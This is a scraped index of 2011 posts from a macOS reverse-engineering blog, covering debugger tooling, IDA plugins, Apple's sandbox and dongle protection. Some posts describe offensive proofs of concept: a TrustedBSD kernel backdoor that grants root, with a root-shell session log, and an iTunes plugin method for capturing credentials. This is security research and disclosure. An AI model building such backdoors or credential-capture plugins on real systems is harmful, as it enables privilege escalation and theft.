the sample if I can write about it. It has what I think will be “cool” features to be implemented in the near future. By the way, Flashback author I would love to have a talk with you. My PGP key is in the About page, total confidentiality guaranteed! I am just curious about some things in your code. @hellais started a sandbox profiles project! The url is https://github.com/hellais/Buckle-Up. Glad to see new stuff coming up. Hum I think I am forgetting something else… I have been working in some interesting stuff related to anti-debugging, rootkits and malware. Maybe I will try to make a presentation of this and submit it somewhere or just publish it here. In 2012 I have to (well, I should) move my ass into a job and stop my damn busy and too fun unemployment status, so let’s see where this ends.\nHappy New Year! In crisis lies opportunity.\nLive a long and prosper life, and more important, enjoy it!\nfG!\n","permalink":"https://reverse.put.as/2011/12/18/merry-christmas-happy-new-year-and-some-notes/","summary":"Merry Christmas or whatever applies or not to your particular case, and much more important, Happy New Year!\nThe world is messed up and it will probably get worse in 2012. Cheer up and be positive!\nLet me write some quick notes about some stuff:\nTake a look at Snare’s presentation about OS X Rootkits! Available at Papers section or here. Check out the fantastic Hopper disassembler and decompiler here or at the Mac App Store.","title":"Merry Christmas, Happy New Year and some notes..."},{"content":"Let me start this with some sort of disclaimer. I do not support/condone stealing credit card information, logins, and other personal information. Disclosing security issues is always a double edge sword and a tricky problem with some politics in the mix. This problem was reported almost 3 months ago to Apple. It’s still not fixed after, at least, two iTunes releases. I perfectly understand the business side of fixing bugs and how business most of the times must come first (I have experience in critical environments where these type of problems can cost a lot of money and bad publicity).\nBut it also seems that governments and so on are exploiting security issues to do all kind of stuff on citizens. This is another interesting case (Google translate it). Three months is more than enough to take a damn decision on this issue. If not, I maybe did a mistake. Live \u0026amp; learn.\nSo let’s start it\u0026hellip;\nThe following problem seems like a pretty “lame” security issue with iTunes. I came across with it when one reader posted a comment about creating an iTunes plugin to have the same m3u removal functionality I did in my loader (original post here). My idea was to patch iTunes memory on the fly and remove the new m3u thing. To my surprise, this is a pretty easy thing to do with a plugin! Plugins are loaded into iTunes memory space (they are bundles/libraries) and can have total control over its memory. How? By using mach_task_self to acquire a port right (we don’t need any special/elevated permissions since the plugin shares the same permissions of iTunes) and then use mach_vm_write to patch whatever we want.\nSo how can we use this for devilish things? Well, we can capture those iTunes logins and credit card information. One alternative is to patch and redirect the code that asks for this information, another one is to make the plugin a small debugger, installing a breakpoint into the interesting place and retrieving the information. Or we could maybe steal information from iTunes backups and upload it somewhere?\nIt’s not the easiest attack vector but it’s a damn easy one. If we have governments sponsoring backdoors installation then any vector is a good vector.\nI did not created the PoC for stealing the iTunes account information. I found where to intercept that information and stopped there. Not interested in creating such thing. I will release the code for the m3u removal plugin (maybe tomorrow). Just need to clean some things – last time I used it was 3 months ago.\nAnd that’s it! A simple security issue by design. Now go patch it Apple, close the damn holes.\nHave fun,\nfG!\nUpdate:\nHere’s the code. Check VisualPluginHandler in iTunesPlugIn.cpp, which handles the events (iTunes will be patched when plugin is loaded, unpatched if configuration is called, and patched again if show visualizer is called). The juice of the patching is located at hack.cpp. The Mach-O headers information is grabbed from memory because of ASLR in Lion. Final step is to find the cstrings location and patch it.\nI haven’t tested this with 64 bit iTunes. My code is based on sample code provided by Apple’s Technical Note 2016. Some unnecessary code is still present and plugin could be improved by adding a configuration panel to enable/disable it. Maybe one of these days.\nDisable_m3u_v0.1.zip\nSHA256(Disable_m3u_v0.1.zip)= 7583d483ecba7dff93b958245e6801000251938a4f87e2dc71c58a4d9a7ee739\nA much better and improved version is available at github repo.\n","permalink":"https://reverse.put.as/2011/11/22/evil-itunes-plugins-from-hell/","summary":"Let me start this with some sort of disclaimer. I do not support/condone stealing credit card information, logins, and other personal information. Disclosing security issues is always a double edge sword and a tricky problem with some politics in the mix. This problem was reported almost 3 months ago to Apple. It’s still not fixed after, at least, two iTunes releases. I perfectly understand the business side of fixing bugs and how business most of the times must come first (I have experience in critical environments where these type of problems can cost a lot of money and bad publicity).","title":"Evil iTunes Plugins from Hell"},{"content":"A small update to gdbinit. Many thanks to snare and Plouj for their reports 😃.\nHere is the changelog:\nVersion 7.4.3 (04/11/2011) – Modified “hexdump” command to support a variable number of lines (optional parameter). – Removed restrictions on type of addresses used in the “dd” command. – Modified the assemble command to support 64bits – You will need to recompile nasm since the version shipped with OS X doesn’t supports 64bits (www.nasm.us). Assumes that the new binary is installed at /usr/local/bin – modify the variable at the top if you need so. It will assemble based on the target arch being debugged. If you want to use gdb for a quick asm just use the 32bits or 64bits commands to set your target. – Added “asm” command – it’s a shortcut to the “assemble” command. – Added configuration variable for colorized prompt. Plouj reported some issues with Ubuntu’s gdb 7.2 if prompt is colorized. Enjoy!\nfG!\ngdbinit743.gz\nSHA256(gdbinit743.gz)= 18931eac613917b4ef63be7708dfa052e7a0edb629c7d829705e231cf2154451\nThe latest version can always be found here.\n","permalink":"https://reverse.put.as/2011/11/04/gdbinit-v7-4-3/","summary":"A small update to gdbinit. Many thanks to snare and Plouj for their reports 😃.\nHere is the changelog:\nVersion 7.4.3 (04/11/2011) – Modified “hexdump” command to support a variable number of lines (optional parameter). – Removed restrictions on type of addresses used in the “dd” command. – Modified the assemble command to support 64bits – You will need to recompile nasm since the version shipped with OS X doesn’t supports 64bits (www.","title":"gdbinit v7.4.3"},{"content":"This is a simple plugin to display Mach-O headers inside IDA, something I miss from time to time. It was a good excuse to mess a little with IDA SDK.\nIt’s not quite what I had initially in mind but it does the job. I was thinking about something more sophisticated such as allow to display only the segment you wanted and so on. Now I am not sure if it’s worth the effort.\nTested with IDA 6.x in OS X and Windows, 32 and 64 bit. Included are a Makefile and Xcode project for OS X, and Windows DevC++ projects for 32 and 64 bit.\nGive a look to the README file for extra information. Too tired and too late to write a long post.\nYeah, the code isn’t beautiful! Anyway I hope it’s useful for you.\nHave fun,\nfG!\nMachOPlugin_v0.2.zip\nSHA256(MachOPlugin_v0.2.zip)= aea01470a92a94a67ae29e6eba659b195829e599165265f8dd0fdc80333bc5a7\nMachOPlugin_v0.3.zip\nSHA256(MachOPlugin_v0.3.zip)= 73ea3471856027d7882b3b89986209f633bd19bc8b2159da7346a3e89c34fa4d\nAlso available at github.\nUpdate:\nv0.3 fixes some bugs/missing stuff and implements a workaround to IDA crashing.\nIDA BUGS:\nI seem to have found a few bugs in IDA QT GUI implementation.\nThe most annoying one is that the plugin will crash IDA if called more than once in the same session. What happens is that IDA happilly keeps opening new custom views even if there is code trying to prevent it.\nThe create_tform() function from the SDK should return a new handle if there is already a form with the same caption. Well this works with the old GUI but fails with the new one (QT). The same happens with find_tform. In this case, it never returns NULL if there’s no form (which is the expected behavior).\nI implemented a small workaround, which is to add a number to the form caption. This way each call to the plugin will generate a new custom view and not crash IDA. Not pretty but the other workarounds I tried failed since I can’t find if form exists or not.\nThe other bugs are described in the README file. If you know a better workaround for this one please tell me.\n","permalink":"https://reverse.put.as/2011/11/03/display-mach-o-headers-plugin-for-ida/","summary":"This is a simple plugin to display Mach-O headers inside IDA, something I miss from time to time. It was a good excuse to mess a little with IDA SDK.\nIt’s not quite what I had initially in mind but it does the job. I was thinking about something more sophisticated such as allow to display only the segment you wanted and so on. Now I am not sure if it’s worth the effort.","title":"Display Mach-O headers plugin for IDA"},{"content":"This is just a simple post about using Xcode to create IDA C/C++ plugins. Nothing fancy here. For great references about IDA SDK plugin writing check out The IDA Pro Book by Chris Eagle and binarypool.com tutorial.\nXcode 3.2.6 is the reference version used. The resulting project loads and compiles without any issues into Xcode 4. Why not doing this in 4? Human brain is misterious (3.x still loads by default on my system).\nLet’s start\u0026hellip;\nLoad Xcode and start a New Project. Use the BSD C Library template, Dynamic type (found in the Framework \u0026amp; Library group). Choose whatever name you want for your plugin (we can rename the binary later).\nNext step is to edit project settings. Go to Project menu, Edit Project Settings. Select the Build settings and go to the Linking options group. At the Other Linker Flags insert -lida. Next go to Search Paths options group. You need to set the path to the IDA SDK header files (the idasdk/include folder) in the Header Search Paths and the path to IDA library (libida.dylib). You can copy this from IDA application into the SDK folder or just point it to the IDA application folder. It’s your call!\nThe last step here is to add a preprocessor macro. Add MAC into Preprocessor Macros at Preprocessing group. You can also define this at your source file. The symbols EA64 and X64 might be useful. Check install_linux.txt at the SDK for their meaning. Probably you should add these at the source file together with the LP64 to distinguish between 32 and 64 bit builds.\nTo finish this you may want to configure the target options. Since it’s a very simple project you can use the Project, Edit Active Target xxxx menu. Select the Build settings and go to Packaging group. Modify the Executable extension to pmc, remove/change the Executable Prefix, and configure the Product Name if you wish so.\nNow add your plugin code (files should be C++ type), compile and install the plugin (you can configure Xcode to execute this step when it finishes compilation – add a new copy files build phase).\nIf you don’t want to use Xcode you can use the below Makefile (original from binarypool.com tutorial). Adapt it to your own needs. It’s configured for producing 32 bit binaries only.\nSRC=formsample.cpp OBJS=formsample.o CC=g++ LD=g++ CFLAGS=-arch i386 -D__IDP__ -D__PLUGIN__ -c -D__MAC__ -I/path/to/idasdk/include $(SRC) LDFLAGS=-arch i386 --shared $(OBJS) -L/path/to/libida -lida --no-undefined -Wl all: $(CC) $(CFLAGS) $(LD) $(LDFLAGS) -o formsample.pmc And that’s it!\nfG!\n","permalink":"https://reverse.put.as/2011/10/31/how-to-create-ida-cc-plugins-with-xcode/","summary":"This is just a simple post about using Xcode to create IDA C/C++ plugins. Nothing fancy here. For great references about IDA SDK plugin writing check out The IDA Pro Book by Chris Eagle and binarypool.com tutorial.\nXcode 3.2.6 is the reference version used. The resulting project loads and compiles without any issues into Xcode 4. Why not doing this in 4? Human brain is misterious (3.x still loads by default on my system).","title":"How to create IDA C/C++ plugins with Xcode"},{"content":"And here we are with a few spare minutes! My baby girl is a little cute devil who, like me, isn’t very found of sleeping all the time. She’s taking a lot of my attention so mom can rest. Well, it’s time well spent while I still have lots of it.\nLet’s get back to business\u0026hellip; There was some fuss around with the latest version of the so called Flashback.C OS X Trojan. This version attempts to remove Apple’s XProtect out of its way. A big public thanks to those who sent me samples of this new version. This new “feature” gave me the idea to use TrustedBSD framework in our benefit. A module can be written to protect those (and other) files. We can do this system-wide instead of using the sandbox module. As I referred in the sandbox guide, Apple didn’t implemented all the available hooks and even if it did, it would be useless in this case – sandbox must be configured per process/application.\nIce, The Guardian is a PoC that implements a hook on open() (Ice was my fantastic and huge Doberman). If access to com.apple.xprotectupdater.plist is attempted by any process not named XProtectUpdater, then access is denied and an alert is issued about this.\nThe code is very simple and the level of protection isn’t high (spoof the process name for example?). I have some ideas to improve the level of protection and make it harder to bypass/spoof. Other syscalls also need to be hooked (unlink for example). Well, you can develop your own custom module and increase the protection level of your system.\nI still have to measure the real performance impact of having such module. Some tests inside a VMware instance with SpeedTools didn’t revealed a big penalty in disk access. Need to execute tests in my physical machine to have better results about this. Worst case scenario it should be on-par with anti-virus performance.\nFeel free to send suggestions/improvements, bitching about my code, patches, or just hello.\nEnjoy,\nfG!\nicetheguardian_v0.1.zip\nSHA256(icetheguardian_v0.1.zip)= 0a614d66e208e422a9e82f6228f56398bd1585495676f09c3485c24429ba33a7\n","permalink":"https://reverse.put.as/2011/10/27/using-os-x-trustedbsd-framework-to-protect-critical-files/","summary":"And here we are with a few spare minutes! My baby girl is a little cute devil who, like me, isn’t very found of sleeping all the time. She’s taking a lot of my attention so mom can rest. Well, it’s time well spent while I still have lots of it.\nLet’s get back to business\u0026hellip; There was some fuss around with the latest version of the so called Flashback.C OS X Trojan.","title":"Using OS X TrustedBSD framework to protect critical files"},{"content":"I am a sucker for all OS X anti-debug promises I can find. There are so few tricks available that I am always curious to see if there is something new in town. So I started poking around Sentinel HASP Envelope for OS X to see what they use to fool my dear debuggers.\nWell, we have the usual ptrace and sysctl tricks, a check for a kernel debugger (via kernel boot arguments), and, to my (good) surprise, one of the anti-debug tricks I discovered a few months ago. I will not tell you what is it so you can have some fun with it.\nThere is also an import table built on the fly, with symbol strings \u0026amp; other strings being encrypted (GDB info symbol address command is useful here). And some functions where IDA disassembly fails, totally out of sync. This is where I am at the moment.\nIn theory I shouldn’t be able to progress much more because the unpacking will require a dongle plugged in, which is something I don’t have. I will just try to disassemble those messed up functions.\nHas anyone else picked up on this one? Are there any more interesting things to look at here?\nDon’t worry Aladdin, I will not publish any details regarding this.\nYou can download the Sentinel CD from Aladdin website, containing all tools for Windows, Linux and OS X. The program that creates the envelope is located in VendorTools folder. Btw, the enveloped program seems to be around 10 times bigger than the original size. I am glad storage is cheap these days.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2011/10/13/poking-around-sentinel-hasp-envelope-for-mac-os-x/","summary":"I am a sucker for all OS X anti-debug promises I can find. There are so few tricks available that I am always curious to see if there is something new in town. So I started poking around Sentinel HASP Envelope for OS X to see what they use to fool my dear debuggers.\nWell, we have the usual ptrace and sysctl tricks, a check for a kernel debugger (via kernel boot arguments), and, to my (good) surprise, one of the anti-debug tricks I discovered a few months ago.","title":"Poking around Sentinel HASP Envelope for Mac OS X :-)"},{"content":" Dongles always had something mistique about them. Before this new age of packers, cryptors, etc, they were the top target to beat. In practice, that fame was only real in a reduced set of applications that correctly implemented the dongle. Most dongle-protected software feature bad implementations. Developers don’t spend enough time in this area or think that it’s the magic bullet to solve their problems.\nThis program is another fine example of this problem. I saw this one and decided to give it a look – it had HASP in the request so my curiosity had to be fulfilled. Less than three hours later, I was disappointed! Another crappy and rushed dongle implementation. It is so damn easy that it hurts (picture is for the basic edition, the advanced is one byte away). The full crack is 5 bytes, where 4 are NOPs 😉.\nI emailed the developers 5 days ago but received no answer. The auto-reply promises feedback in 24h so they don’t seem to care. Of course I will not publish details about this. It is annoying because it would be a good example of what not to do.\nAnyway, if you are a developer implementing a dongle, let me give you this small piece of (important!) advice. Your application should have an healthy dialog with the dongle instead of a “good morning” before starting to work. You can also trust it to keep your secrets instead of storing them in computer’s memory.\nExplore the dongle possibilities and think a little about how can you use them. In this case, HASP examples are a bit bad because they are way too simple. Remember that example of the App Store receipt sample code that a lot of developers copied, even when they were warned not to? Do not do the same.\nBack to some other projects. My baby girl seems to have inherited her parents strong personality and doesn’t want to come out, so I still have another week of free time 😃.\nfG!\n","permalink":"https://reverse.put.as/2011/10/11/a-small-rant-about-dongles-the-developer-who-cant-correctly-implement-a-hasp/","summary":"Dongles always had something mistique about them. Before this new age of packers, cryptors, etc, they were the top target to beat. In practice, that fame was only real in a reduced set of applications that correctly implemented the dongle. Most dongle-protected software feature bad implementations. Developers don’t spend enough time in this area or think that it’s the magic bullet to solve their problems.\nThis program is another fine example of this problem.","title":"A small rant about dongles: the developer who can’t correctly implement a HASP!"},{"content":"I like things well done and the healthy discussion with snare about this topic remembered me this PoC was a bit incomplete. So I decided to close the missing gaps.\nThe fix is pretty simple. Retrieve a new kauth credential with uid and gid equal to 0 and replace the old one (the code seems stable even without process locks). It also seems to work fine without the allproc lock. The backdoor also had a small “bug” that I didn’t noticed due to a coincidence. If you are using iStat Menus then you have a daemon running as root that is collecting info from processes and uses task_for_pid() on them. So the trick of getting the task_for_pid for any process even without permissions worked because of this coincidence (the backdoor failed but iStat daemon called task_for_pid() on the process and so backdoor was activated, duh!). The fix is to do a task_for_pid() on itself. It was one of those things that you don’t feel it’s right but you don’t pay much attention to.\nThe only catch is that the symbol for kauth_cred_setuidgid() is not exported so it’s manually configured for Snow Leopard 10.6.8. To resolve the kernel symbols is another project.\nHave fun,\nfG!\nrexthewonderdog_v0.2.zip\nSHA256(rexthewonderdog_v0.2.zip)= 890faeafef5ff00ac289e6289e14abee2d744b8e6155ac05b0b51eaf3ac4448f\nUpdate:\nAll previous versions do not work with Lion because proc structures changed (check xnu/bsd/sys/proc_internal.h). Version 0.3 adds support to Lion 10.7.1. Edit the main source file and change the define accordingly.\nrexthewonderdog_v0.3.zip\nSHA256(rexthewonderdog_v0.3.zip)= c85f5273497430e7328364c52d6d772ccb154c068250fb8a7ef73532b067b713\n","permalink":"https://reverse.put.as/2011/09/26/fixes-for-the-trustedbsd-backdoor-rex-the-wonder-dog-v0-2/","summary":"I like things well done and the healthy discussion with snare about this topic remembered me this PoC was a bit incomplete. So I decided to close the missing gaps.\nThe fix is pretty simple. Retrieve a new kauth credential with uid and gid equal to 0 and replace the old one (the code seems stable even without process locks). It also seems to work fine without the allproc lock. The backdoor also had a small “bug” that I didn’t noticed due to a coincidence.","title":"Fixes for the TrustedBSD backdoor – Rex the wonder dog v0.2"},{"content":"While poking around OS X implementation of TrustedBSD to write the sandbox guide I had the idea of trying to abuse it for backdooring purposes. It’s kind of funny that something designed to protect can be so “easily” abused to install backdoors. This is not rocket science or a big breakthru post – I was just curious about the possibility to abuse the framework. You still need to find a way to install the kernel module!\nSo without further delay, I present you Rex, The Wonder Dog. It is a very simple policy module for TrustedBSD that gives r00t privileges to a process named xyz, if it calls task_for_pid(). For some unknown reason I couldn’t yet do the same with fork() (it was only working for Safari). I was doing this at 3am so I really didn’t bothered too much about it. It is based on SEDarwin sample policies code.\nI had some trouble to compile the policy module (duplicate symbols) if I try to use the macro to initialize the module. I strongly suspect this is because I am using XCode’s kernel extension template. This is just a lazy PoC.\nThe code is unstable. Processes start crashing and crash reporter isn’t executing. It could be due to the very lazy way that r00t privileges are changed for the target process (it only starts to happen after backdoor is activated). Kernel land is dangerous territory! It is tested only with Snow Leopard 10.6.8. Might work with Lion without any problems. Load it as a normal kernel module with kextload.\ndmesg log when module is loaded:\ncalling mpo_policy_init for rex_the_wonder_dog calling mpo_policy_initbsd for rex_the_wonder_dog Security policy loaded: Rex, the wonder dog! (rex_the_wonder_dog) Starting the backdoor and getting a r00t shell:\n$ ./xyz [info] calling task_for_pid() [info] task for pid returned 0 [info] uid 501 euid 0 [info] setting uid to 0... [info] uid 0 euid 0 [info] executing r00t shell... # id uid=0(root) gid=0(wheel) egid=20(staff) groups=0(wheel),204(_developer),100(_lpoperator),98(_lpadmin),80(admin), 61(localaccounts),29(certusers),20(staff),12(everyone),9(procmod),8(procview),5(operator),4(tty),3(sys),2(kmem),1(daemon), 401(com.apple.access_screensharing),402(com.apple.sharepoint.group.1) Policy modules open interesting possibilities for implementing other things. Maybe your own binary integrity check module? Or maybe some nice anti-debug for software who must use kernel modules.\nSorry for the lazy and unstable code. I’m not that much interested in backdoors, I was just interested in testing the possibility. It’s (just) a clean way to activate a kernel backdoor. If you improve and want to share your code feel free to send it!\nHave fun,\nfG!\nHere are the goodies.\nrexthewonderdog_v0.1.zip\nSHA256(rexthewonderdog_v0.1.zip)= 4d75ab5859d6a3259de12a9e21a7ee4530b1bc1adb673e2fb24a4f66b9109eac\nxyz.c\nSHA256(xyz.c)= 3e24337fc7b61f392066e0812051007e8942060a2906d720d345f019de894576\n","permalink":"https://reverse.put.as/2011/09/18/abusing-os-x-trustedbsd-framework-to-install-r00t-backdoors/","summary":"While poking around OS X implementation of TrustedBSD to write the sandbox guide I had the idea of trying to abuse it for backdooring purposes. It’s kind of funny that something designed to protect can be so “easily” abused to install backdoors. This is not rocket science or a big breakthru post – I was just curious about the possibility to abuse the framework. You still need to find a way to install the kernel module!","title":"Abusing OS X TrustedBSD framework to install r00t backdoors..."},{"content":"This blog is more or less 4 years old (the first draft post is from 2007/09/25)\u0026hellip; Uau, time passed by quickly! Mistakes were made, valuable lessons were learnt, new tricks developed, knowledge improved, and most important, fun!\nI created this blog because there was so little public information about reversing in OS X. The act of sharing information and knowledge helps you in the research and learning process. Unfortunately I cannot share as much as I wanted to – the world is full of greed and stupidity (read Survival of the Stupidest) and someone will always misuse information. Maybe all the current economic problems make people rethink their objectives in life and the world starts to change for the better. I don’t have lots of hope about this. Let’s see if I am wrong.\nAnyway, the blog will probably slow down a lot in the next couple of months. My baby girl is almost entering this world and parenting in the first months seems to be a pretty intense activity. It will be an hibernation period until everything is running smooth (I hope!).\nSpecial thanks go to saure for the little tweaks he gave to the blog design template.\nAs usual, if you have anything you want to publish or spread the word about, just mail it to me. I always want to learn new things 😃.\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2011/09/14/4th-anniversary/","summary":"This blog is more or less 4 years old (the first draft post is from 2007/09/25)\u0026hellip; Uau, time passed by quickly! Mistakes were made, valuable lessons were learnt, new tricks developed, knowledge improved, and most important, fun!\nI created this blog because there was so little public information about reversing in OS X. The act of sharing information and knowledge helps you in the research and learning process. Unfortunately I cannot share as much as I wanted to – the world is full of greed and stupidity (read Survival of the Stupidest) and someone will always misuse information.","title":"4th anniversary..."},{"content":"Here it is a version I consider good enough to come out of draft status. I have added more information – one thing I was especially interested was to match the available operations in the SBPL syntax with the system/kernel functions that they control. This helps to better understand what is the impact of each operation. Appendix B features the lazy IDC script I used to extract this information from the sandbox kernel module (then I had to match with XNU kernel sources).\nI tried to provide examples for all operations and make notes of some problems/features where available. Also added a few more references about this subject. The book \u0026ldquo;Enterprise Mac Security: Mac OS X Snow Leopard\u0026rdquo; has a pretty good chapter dedicated to this.\nI hope it’s useful for you. I have been using it as reference while developing some custom profiles.\nEnjoy,\nfG!\nApple Sandbox Guide v1.0.pdf\nSHA256(Apple Sandbox Guide v1.0.pdf)= c6ae8502a48f09a6309a9485e9bf7794389e969fd9ab65c46d805307a9a1cb8e\nvienna.sb.gz\nSHA256(vienna.sb)= 0831910e4d2a92253e5b64e92ec0f27e1408b926253eca9eee3f9918036077c0\n","permalink":"https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/","summary":"Here it is a version I consider good enough to come out of draft status. I have added more information – one thing I was especially interested was to match the available operations in the SBPL syntax with the system/kernel functions that they control. This helps to better understand what is the impact of each operation. Appendix B features the lazy IDC script I used to extract this information from the sandbox kernel module (then I had to match with XNU kernel sources).","title":"Apple Sandbox Guide v1.0"},{"content":"After quite a few hours typing and testing stuff, here it is a very early draft of my attempt to document Apple’s sandbox implementation. The most difficult part in writing technical documentation or business plans is to get the first draft more or less ready. It’s even worse when there’s not much information about the subject. But here it is something with already quite some significant content.\nIn this draft I don’t like the writing style – it’s still very confuse and boring. The layout of the reference section is also a bit confuse.\nWhat I would like to hear from you is about the content and the direction I took. If it is useful this way, if it can be (easily) understood, how can it improve, what to add more, etc.\nLeave a comment, write a mail, or send me a tweet. Any feedback is appreciated! This is not an easy task.\nEnjoy,\nfG!\nApple Sandbox Guide v0.1.pdf\nSHA256(Apple Sandbox Guide v0.1.pdf)= a7e966d03014938af92df5a9f9eb5cfbabf01d3c22dacb701768af2aaca1866d\nUpdate:\nAn improved version 0.2 is now available. Layout is improved and more content added. Still missing the mach operations. File-write-data appears to be buggy (or I am missing something).\nApple Sandbox Guide v0.2.pdf\nSHA256(Apple Sandbox Guide v0.2.pdf)= a22e5baf0e88413077fdf0b421920c02f02bfae7b897ba49fb6ae5709b3e460d\n","permalink":"https://reverse.put.as/2011/09/03/apples-sandbox-guide-v0-1-early-draft-release/","summary":"After quite a few hours typing and testing stuff, here it is a very early draft of my attempt to document Apple’s sandbox implementation. The most difficult part in writing technical documentation or business plans is to get the first draft more or less ready. It’s even worse when there’s not much information about the subject. But here it is something with already quite some significant content.\nIn this draft I don’t like the writing style – it’s still very confuse and boring.","title":"Apple’s Sandbox Guide v0.1 – early draft release"},{"content":"I was just messing with Apple’s sandbox implementation to see if it was possible to close a “vulnerability” in iTunes (more on that later after Apple answers my email) and decided to experiment with something that has been in my mind for a long time and never bothered to try. The idea is to use the sandbox feature to find, for example, hidden files that applications use for serial numbers, time limits, demo limits, etc, or to trace install scripts or malware. In this last case, I find fs_usage too noisy to be really useful. If we deny any kind of writing we can easily follow what the program is trying to write, improving this process.\nDocumentation on Apple’s sandbox is scarce, with the best references being the presentation by Dionysus Blazakis (here and here) and some scripts by s7ephen (here). You can also find Apple sandbox scripts at /usr/share/sandbox.\nYou can adapt these scripts and make them more or less granular, where the most important part in this case is to deny all type of file writing. Most probably you will need to tweak this and allow some writing to known files else the application will not start.\nThe errors are always logged to /var/log/system.log, so the best idea is to tail -f that file to watch the errors and fix them.\nThis is an example of TranslateIt! Deluxe trying to write some hidden files known to be protection related:\nAug 30 23:04:15 desktop sandboxd[3234]: TranslateIt!(3233) deny file-write* /Users/myself/Library/Preferences/.ti_tick_stmp_14.0 Aug 30 23:04:15 desktop sandboxd[3234]: TranslateIt!(3233) deny file-write* /Users/myself/Library/Preferences/.ti_tick_dy_14.0 When you are tweaking the scripts you might get some weird crashes. These seem to be related to missing permissions on mach-lookup rule. Check /usr/share/sandbox/bsd.sb. The configuration for this rule seems to help on these crashes!\nMaybe I will try to write a document about sandbox rules and features. It’s a useful security feature although not perfect! Better than nothing.\nHave fun messing with the scripts!\nfG!\n","permalink":"https://reverse.put.as/2011/08/30/using-apples-sandbox-feature-for-reversing-purposes/","summary":"I was just messing with Apple’s sandbox implementation to see if it was possible to close a “vulnerability” in iTunes (more on that later after Apple answers my email) and decided to experiment with something that has been in my mind for a long time and never bothered to try. The idea is to use the sandbox feature to find, for example, hidden files that applications use for serial numbers, time limits, demo limits, etc, or to trace install scripts or malware.","title":"Using Apple’s sandbox feature for reversing purposes"},{"content":"I just discovered that iTunes 10.4 finally introduced support to load m3u files. If you are importing large quantities of MP3 archives like me then you probably will be very annoyed by the mess that iTunes 10.4 will make out of this – playlists will be created and a ugly mess will emerge (and takes longer to process). So it was time to try to remove this feature, which is curious since I always wanted this in iTunes, before I surrended myself to its way of managing MP3s. A quick Google search shows that I am not the only one having “issues” with this new feature.\nFirst attempt was to disassemble and search for the code. Well, iTunes is a huge program and I just wanted a quick hack (I did find more or less where the interesting code is). So why not searching for the string m3u and modify it? Most probably iTunes was processing the files based on extension and modifying that string would effectively remove this feature.\nA quick test with GDB and voila, it works. No more m3u/m3u8 (unicode version) processing! Hurray. To make the change effective there are two solutions; first patch the binary, which would require an update to codesign, second create a small loader to patch the strings in memory, leaving the original binary intact. Second one is more fun, so here it is, a small loader for iTunes 10.4.1 that will remove this feature. For now it’s 32 bit only, which is the version that runs on Snow Leopard. I will test later with Lion.\nTo use this loader, execute the following commands in Terminal.app (after downloading and unpacking the loader.gz):\n$ sudo cp /Applications/iTunes.app/Contents/MacOS/iTunes /Applications/iTunes.app/Contents/MacOS/iTunes.orig $ sudo cp loader /Applications/iTunes.app/Contents/MacOS/iTunes $ sudo chgrp procmod /Applications/iTunes.app/Contents/MacOS/iTunes $ sudo chmod g+s /Applications/iTunes.app/Contents/MacOS/iTunes And that’s it, you can click the usual iTunes icon. The program will start and no more m3u processing! If you check Activity Monitor, you will have two iTunes processes, one with a very small memory footprint (the loader), and another the real iTunes. When you exit iTunes the loader will also exit, so everything is nice \u0026amp; clean.\nI might improve this loader to be smart and support any new iTunes updates, and maybe create a Cocoa application to launch iTunes with this m3u enabled or disabled. I need a small excuse to start coding Cocoa apps.\nHave fun,\nfG!\nloader.gz\nSHA256(loader)= 4cff14a3e2e5a58d4de22c74a064ab3448bdb63210440c232bedcd410acefdbf\nUpdate:\nHere it is a version that should work with all future iTunes updates and also for Lion with ASLR support (ASLR isn’t disabled by the loader!). Install as in the previous version.\nloaderv2_snowleopard.gz\nSHA256(loaderv2_snowleopard)= 35453a6622699cc60fa4edb5def8b0d597c56e2850c3d165b1d080fe31c97cfe\nloaderv2_lion.gz\nSHA256(loaderv2_lion)= 7d0bd9934042141061710abea349284c553afdaee90342d4034bd9a916e6d099\n","permalink":"https://reverse.put.as/2011/08/25/removing-itunes-10-4-m3u-processing-feature-with-a-small-loader/","summary":"I just discovered that iTunes 10.4 finally introduced support to load m3u files. If you are importing large quantities of MP3 archives like me then you probably will be very annoyed by the mess that iTunes 10.4 will make out of this – playlists will be created and a ugly mess will emerge (and takes longer to process). So it was time to try to remove this feature, which is curious since I always wanted this in iTunes, before I surrended myself to its way of managing MP3s.","title":"Removing iTunes 10.4 m3u processing feature with a small loader"},{"content":"One known problem with Apple’s fork of open source software is their slowness in fixing vulnerabilities and bugs. GDB fork isn’t immune to this; it was forked around release 6.6 or something like that and lots of stuff isn’t kept in sync with GNU’s GDB version.\nThe short story for this bug is that you can’t have a commands command inside a define command. This creates some problems for useful scripting. The funny thing is that I had hit this bug a few weeks ago but didn’t paid any attention to it, just worked around it and never bothered to understand why my script didn’t work.\nWhat I did here was to find where the bug was, compare with GNU GDB to find where it was fixed (version 6.7) and backport the required code. So all coding work was done by someone else (thank you 😃). I just “reversed” the problem!\nHey Apple, I am not your codebase maintainer (but I would be interested in working for you, probably in Strategy or Marketing, since you rock at those areas [well I also love design but I can’t draw anything] and I suck at coding, LOL).\nFor now I will only post the patch – the version that includes all previous patches, and another just for this bug. Later I will put up patched binaries for Leopard/Snow Leopard and Lion.\nI have to format my computer since I had to install some Chinese kernel drivers for Internet access. I do not trust their shit, especially low level stuff such as kernel drivers (TODO list has one more item – verify the code for those modules!). It’s a real sad state of affairs! But a format once in a while is always healthy, despite what is commonly said in Mac space.\nTo patch \u0026amp; compile your own GDB, please refer to here and here.\nEnjoy,\nfG!\nall_patches_v0.3.patch.gz\nSHA256(all_patches_v0.3.patch.gz)= 38a891327b14b94d73b7e6f5ef66b4848df03a59a8bac5e89b93869046078608\ncommands_bug.patch.gz\nSHA256(commands_bug.patch.gz)= b84be03e73a5a5ada59ab8b7fbd595e531fe149446418750d5d747d6598aa6a0\nUpdate:\nHere is the binary version for Snow Leopard, 32 and 64 bit fat binary. Replace as gdb-i386.apple-darwin in /usr/libexec/gdb and don’t forget to fix permissions.\ngdb-i386-apple-darwin.1344.gz\n(SHA256(gdb-i386-apple-darwin.1344)= a0be45855569ad76c24f3422597c97aafa7bbb4d78793361f5978567be0f2506)\nAnd the version for Lion, also a fat binary for 32 and 64 bit.\ngdb-i386-apple-darwin-1705.gz\n(SHA256(gdb-i386-apple-darwin-1705)= be1c462c8f271fd59581142d8d87a410d2cf1d2fcf27019796bee6424e50a9c6)\nEnd of update\nHere’s how the problem looks like:\n$ gdb GNU gdb 6.3.50-20050815 (Apple version gdb-1344) (Mon Feb 28 15:50:14 UTC 2011) Copyright 2004 Free Software Foundation, Inc. GDB is free software, covered by the GNU General 